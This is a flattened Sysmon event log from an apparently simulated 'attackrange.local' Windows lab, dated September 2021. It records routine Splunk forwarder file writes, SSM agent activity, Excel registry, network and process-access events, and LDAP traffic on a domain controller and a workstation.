AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=1B7CCEE1AD51F7C44334781D657D8874,SHA256=C68945CAC253A654FB8BE68C851847A8C881491F55C4A7D1605EB3144CA56B3C,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000046661Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:45.357{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59335-false10.0.1.12-8000- 354300x800000000000000046660Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:45.312{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local53domaintrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local61047- 23542300x800000000000000046659Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:48.072{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=DEF27770A822CBB637A33117874DDD20,SHA256=15D59BC4D923E4BBACBACB79B9C5D38881D7B0015C1AE5E908581B7619897A69,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 13241300x800000000000000046658Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:47:48.072{7BD73061-7003-613B-F90A-00000000F001}5220C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEHKU\S-1-5-21-589020557-3528615288-1361562277-500\SOFTWARE\Microsoft\Office\16.0\Common\Licensing\CurrentSkuIdAggregationForApp\Publisher{3AD61E22-E4FE-497F-BDB1-3E51BD872173}, 23542300x800000000000000046657Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:48.041{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=1EFFD6BCEF591D9E588DC18D056F53BB,SHA256=B2754C41F45FE4969F92BCB1C657EFE86E24DA5736F52CC5D2B6CE2342AC4839,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000046656Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:48.010{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=7C4A1E8EB8CA2CF50A8D2C43909DF0CC,SHA256=E1544F619FC75D5C53F9523AAF33A52EF38557B227D674E758123AB5D340603C,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000014488Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:47:49.694{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=A65DD75D3B4568C15EBE7CA22901716A,SHA256=4C0BE2025F6C510C43AB9342932E6C85655D8EE142E1A16D357025D92023787D,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000046662Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:49.057{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=C67057EAA4F475F28D20F0AB6E354F0B,SHA256=54256C9F75AB17B1AED8D434B1420129596F01C451DDEEEC13C2B66BA817D023,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 354300x800000000000000014487Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:47:48.444{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50156-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000014489Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:47:50.705{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=C9633A82275764331DBE0F3363740A35,SHA256=CBBEF9D255C2E379C063FCA3BF9C45D30D4159654AC1A165CAECF674B7A525C0,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000046664Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:50.755{7BD73061-6D0F-613B-9406-00000000F001}44803136C:\Windows\Explorer.EXE{7BD73061-7003-613B-F90A-00000000F001}5220C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\SHELL32.dll+618b4|C:\Windows\System32\SHELL32.dll+62967|C:\Windows\Explorer.EXE+3c618|C:\Windows\Explorer.EXE+3c4a4|C:\Windows\Explorer.EXE+3c411|C:\Windows\System32\windows.storage.dll+7c2cf|C:\Windows\System32\windows.storage.dll+7b04f|C:\Windows\System32\windows.storage.dll+7dfef|C:\Windows\System32\SHCORE.dll+367a6|C:\Windows\SYSTEM32\ntdll.dll+39cf9|C:\Windows\SYSTEM32\ntdll.dll+1e88a|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000046663Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:50.260{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=A5E58478BEE804A131A8D2E6060D921D,SHA256=3C4CAA4D81691E7BE9EC835A840E4A68971C7F184580E43491F96E82252287C1,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000014490Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:47:51.705{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=3BACE0030D30BC6CF11CB31B18FFB43C,SHA256=430520A52EC1A39BCEE5D1361A9FA019D3D1439A2BD331E02D324B79D27D72A5,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000046666Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:51.477{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=B0BED6586EBB7E26F54837E6A4B00060,SHA256=63C0EC309D222D3425C573A56E0C9F4492B31D34B5CDB456C69337533172C219,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000046665Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:51.055{7BD73061-65BF-613B-2900-00000000F001}2868NT AUTHORITY\SYSTEMC:\Program Files\Amazon\SSM\amazon-ssm-agent.exeC:\ProgramData\Amazon\SSM\InstanceData\i-044adde96bd54cffd\channels\health\respondent-20210910140346-042MD5=0ECBD96D4C8EFA762750D80ED755F871,SHA256=884DCF4CAE7DADA9980CDF8B8E62499F900EF27E1E36C36938E27750A8EC29B2,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000046668Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:52.491{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=98A1295C5740B5AE4BE7131224E79C38,SHA256=EC1C28031EFA649DBC5141B10F04F75090068CF1303F277BE86AB021B0ADDB31,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000014491Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:47:52.721{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=0059F122BC2638406D53038F1B0A168D,SHA256=B71A171A738E5EC81688E7274D84FBF88D823825743D607E9838C641EB4A3592,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000046667Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:52.056{7BD73061-65BF-613B-2900-00000000F001}2868NT AUTHORITY\SYSTEMC:\Program Files\Amazon\SSM\amazon-ssm-agent.exeC:\ProgramData\Amazon\SSM\InstanceData\i-044adde96bd54cffd\channels\health\surveyor-20210910140344-043MD5=97EF2A570B75C4F95FC69B0D09A2E2A2,SHA256=11396EA313B0ED7E3228C4FA92ABE9D836DB8F416A7A8A28ACC77133025082E7,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000046669Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:53.620{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=7884AFA43F3C370D16BF2ABDCF90246A,SHA256=34DA910587B65F20223E221F0FAE75C0AE9C025FCC63FE58C19F954DE11B1B91,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000014492Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:47:53.783{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=B2C7692C36ED7C81ECC57435BED8BE3F,SHA256=19764266388F845D4195CB707B80F80CE94846914FF5B21D0E92F4C4D34C5DCB,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000046671Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:54.792{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=E97BD12EA55B6270E6069EB294FFD6AA,SHA256=DE00063724480215A513176538264E1C90BB3D488D5462BDD0C7CDD9AF2ED93E,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000014494Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:47:54.799{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=2622532E4B15F8CF99C7203A52DD7BFF,SHA256=94CFA0A28C01E41FDF47727B588E17F57E35F7E6AB871E075DBD58B1087F47D5,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000046670Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:51.371{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59336-false10.0.1.12-8000- 23542300x800000000000000014493Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:47:54.752{625C326B-6879-613B-A400-00000000F101}2004NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunkd.exeC:\Program Files\SplunkUniversalForwarder\var\run\serverclass.xmlMD5=086DB1CFB481058C3EF9F48D868FE74F,SHA256=BB95DB224236BED3122F53106B6D7A2930FE56435B98D0E225AAE99BDF5D7CF8,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000046672Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:55.823{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=E4F20E47E83907612CAF898CF9C66402,SHA256=0791472F3DE49B085F5AB926851F865C087D1F09C7C0DDC6E36E1BECEE371CC3,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000014496Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:47:53.532{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50157-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000014495Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:47:55.818{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=A5620EE3A85F3BD2147B889E30DC12FE,SHA256=99868D4A00A1FD8C2E34960405526B916EFCD845FB7DF4ECAC1D2B8D8D4666F2,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000046677Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:56.948{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=37B151EA76F550692F7C9060536A6F74,SHA256=A3FA5386C5F9C57445D226A9F93C6A8005B5C181830B07A27F30271ADDCC6BA3,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000014499Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:47:55.064{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50158-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8089- 23542300x800000000000000014498Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:47:56.833{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=E2594ADF24E56093C16A548F36E817D4,SHA256=3951252EDEBF26AC60BD9FD8B28358488441FB7C9FB1883D1EC3D9025D3C403D,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000046676Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:54.334{7BD73061-65B0-613B-0B00-00000000F001}620C:\Windows\System32\lsass.exeNT AUTHORITY\SYSTEMtcpfalsefalse10.0.1.14win-dc-387.attackrange.local59337-false10.0.1.14win-dc-387.attackrange.local3268msft-gc 354300x800000000000000046675Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:54.334{7BD73061-7003-613B-F90A-00000000F001}5220C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEATTACKRANGE\Administratortcptruefalse10.0.1.14win-dc-387.attackrange.local59337-false10.0.1.14win-dc-387.attackrange.local3268msft-gc 23542300x800000000000000046674Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:56.042{7BD73061-7003-613B-F90A-00000000F001}5220ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEC:\Users\Administrator\AppData\Local\Microsoft\Office\OTele\excel.exe.db-walMD5=200A024BE5FF35C24798523E7C7B3F39,SHA256=1D1E7B80EB77125C1E3A8AA4B8E0334311B05AA5B56957DDC22707BF8197BADD,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000046673Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:56.042{7BD73061-7003-613B-F90A-00000000F001}5220ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEC:\Users\Administrator\AppData\Local\Microsoft\Office\OTele\excel.exe.db-shmMD5=6D1BEC7E7CD82501D9251814AEB2C148,SHA256=3FD17447620D4E3B61182887FBF0944871CDF699FD443ED6A8B07144E6BAA10A,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014497Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:47:56.243{625C326B-67EE-613B-1B00-00000000F101}1908NT AUTHORITY\SYSTEMC:\Program Files\Amazon\SSM\amazon-ssm-agent.exeC:\ProgramData\Amazon\SSM\InstanceData\i-0e4d5849e4b95ca2f\channels\health\respondent-20210910141306-033MD5=3A9A88AD6100E8BB934749ED83730993,SHA256=EA67EE5E06491F5BE852A39DD3E98E85E9195686879C0E2F42582046B4398283,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014501Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:47:57.834{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=53BFA5F363939ACD203B1970CECA3158,SHA256=D24F9804132CC44621F419D824A5AAF968AA833A0B787AD48A6B5CA1355CDF4A,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000046678Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:54.714{7BD73061-7003-613B-F90A-00000000F001}5220C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEATTACKRANGE\Administratortcptruefalse10.0.1.14win-dc-387.attackrange.local59338-false13.89.178.26-443https 23542300x800000000000000014500Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:47:57.256{625C326B-67EE-613B-1B00-00000000F101}1908NT AUTHORITY\SYSTEMC:\Program Files\Amazon\SSM\amazon-ssm-agent.exeC:\ProgramData\Amazon\SSM\InstanceData\i-0e4d5849e4b95ca2f\channels\health\surveyor-20210910141303-034MD5=97EF2A570B75C4F95FC69B0D09A2E2A2,SHA256=11396EA313B0ED7E3228C4FA92ABE9D836DB8F416A7A8A28ACC77133025082E7,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014502Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:47:58.850{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=E395EF76116D9EC991BCF57BCD078137,SHA256=B576787D3A87E5FC2CFA906CAA5FAFB47FFF7DF7ABB20702AF31145B87BD6645,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000046680Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:56.545{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59339-false10.0.1.12-8000- 23542300x800000000000000046679Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:58.151{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=7F410F612346BA204F5BA94B5BF5C4A2,SHA256=7501B1917C4D1F4B0C80543CE3BBB25415699E677A2955B14813784450F2BDCA,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014503Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:47:59.912{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=6E7DFC46F80223212422D8042359AAF7,SHA256=7D60D21CEBCA504812C2874086D6E5D50597B5C2C575C75A47FA35BD6C78EE5D,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000046687Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:57.529{7BD73061-65B0-613B-0B00-00000000F001}620C:\Windows\System32\lsass.exeNT AUTHORITY\SYSTEMtcpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local59340-true0:0:0:0:0:0:0:1win-dc-387.attackrange.local389ldap 354300x800000000000000046686Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:57.529{7BD73061-65BF-613B-2700-00000000F001}2852C:\Windows\ADWS\Microsoft.ActiveDirectory.WebServices.exeNT AUTHORITY\SYSTEMtcptruetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local59340-true0:0:0:0:0:0:0:1win-dc-387.attackrange.local389ldap 17141700x800000000000000046685Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-CreatePipe2021-09-10 14:47:59.449{7BD73061-6D0F-613B-9406-00000000F001}4480\UIA_PIPE_4480_00004452C:\Windows\Explorer.EXE 10341000x800000000000000046684Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:59.292{7BD73061-6D0E-613B-8E06-00000000F001}48482952C:\Windows\system32\taskhostw.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\MSCTF.dll+af11|C:\Windows\System32\MSCTF.dll+b489|C:\Windows\System32\MSCTF.dll+be73|C:\Windows\System32\MSCTF.dll+3d812|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000046683Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:59.292{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=3FCF25FB86FCE1CB6F80705CE7BE2CE4,SHA256=8B63D4CA776098F67C53F481F8BE57B344144370932BAF64F4652EE08CB90589,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000046682Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:59.276{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=C02C355DEA11E545C687F45A55DC02F3,SHA256=2B4BF5FFBC19E1CA5CD63054BF311842E9147986BE4F916AAE6D37CE80B68176,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000046681Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:59.276{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=CF8F259F49B40CADC493BAF2E30EF294,SHA256=EE47A3D7AD8EEACDE16825F3F4CA4768A3BBD4037950DE40FC30F168DD911E51,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014504Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:48:00.928{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=DA34C014DB3371352ECE299C9E49A9BA,SHA256=B7117BA335D23722B1886FA701B35A6447558597F04C023870B8250266DF6900,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000046688Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:48:00.308{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=4CC312103D8CA9B935BAE2F432520404,SHA256=60C7FBD5881972535D684D79F345A78287C992185593ED4EF4EFE2DB0CCAFC05,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014506Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:48:01.928{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=5F4B79A6F61366E39AA4FA296B81B177,SHA256=63421CE9818049133A8F559C6ABFA421316FE25EB83185329D60DA4D2E42E4AF,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000046689Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:48:01.323{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=98271FA0544BC2EDBE3E68FC81A78869,SHA256=FEE9AEA3251DDCCB6D61A9C691A4A2DF2C33D5802336B5152594F4C52031A2FF,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000014505Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:47:59.505{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50159-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000014508Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:48:02.943{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program 